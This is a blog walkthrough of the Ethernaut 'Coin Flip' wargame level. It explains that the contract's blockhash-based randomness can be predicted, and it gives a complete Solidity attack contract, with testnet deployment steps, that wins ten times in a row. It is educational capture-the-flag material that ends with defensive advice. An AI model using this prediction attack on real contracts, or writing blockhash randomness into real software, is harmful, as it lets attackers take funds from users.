DEV Community

wallebach
wallebach

Posted on

Ethernaut level #3 - Coin Flip

Let's dive into Ethernaut challenge #3 - Coin Flip. In this assignment, we will learn about the complexities of random number generation on blockchain.

Requirements

For the following smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

We have to guess the magic number for 10 times in a row.

Solution

The guessing logic function flip might look a bit scary: it uses a big FACTOR number, depends on block number, etc. Well, the issue is that all this complexity doesn't really matter. Smart contract code is publicly available and it's possible to reproduce the logic by just copying it. But of course we need to understand what exactly should be copied.

Starting with state variables. We don't need consecutiveWins, because it's a count tracker in CoinFlip and has nothing to do with random generator logic. But we can see that the other two state variables:

uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
Enter fullscreen mode Exit fullscreen mode

are used in used in flip() function. It also a good idea to copy the first part of flip() itself because it contains everything we need to generate correct random value:

uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
  revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
Enter fullscreen mode Exit fullscreen mode

In fact, we are almost done! However, we have to call Coin Flip contract. For this we will define its interface and call flip() method. Complete solution code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function consecutiveWins() external returns (uint256);
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {

    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    address coinFlipContract;

    constructor(address _coinFlipContract) {
        coinFlipContract = _coinFlipContract;
    }

    function guess() public {
      uint256 blockValue = uint256(blockhash(block.number - 1));

      if (lastHash == blockValue) {
        revert();
      }

      lastHash = blockValue;
      uint256 coinFlip = blockValue / FACTOR;
      bool side = coinFlip == 1 ? true : false;

      ICoinFlip(coinFlipContract).flip(side);
    }
}
Enter fullscreen mode Exit fullscreen mode

Notice ICoinFlip interface definition and a call at the end of guess().

Let's deploy our smart contract in Remix. Be sure to select an Injected Provider - Metamask and switch to the same testnet where Ethernaut instance is deployed. In my case it's Sepolia network. I'll create a separate post on how to deploy and verify contracts in Remix, so stay tuned if you are interested.

Copy the address of Ethernaut instance, provide it as a constructor argument and click Deploy. Here is how it should look like:

CoinFlip solution deployment

Let's return to the task page and check how many consecutive we have at the moment (should be zero):

await contract.consecutiveWins().then(result => result.toString()
Enter fullscreen mode Exit fullscreen mode

Now comes the boring part. We have to call guess() function for 10 times in a row to solve the challenge. Luckily, we are on a right track and almost certainly our labor will be rewarded.

After calling guess() 10 times run previous command in console once again. Here we have it. Another level is completed!

Summary

Random numbers are not natively supported on blockchain. Anyone can see the code and just copy it without even getting into the details of implementation. Consider using Oracle like Chainlink VRF for random numbers generation.

My personal recommendations for further education:

  • Check smart contract hacking course by JohnnyTime. There is an entire section on randomness vulnerabilities.

  • Find problems in CodeHawks First Flight #2. This competition emphasises on issues with random numbers.

Top comments (0)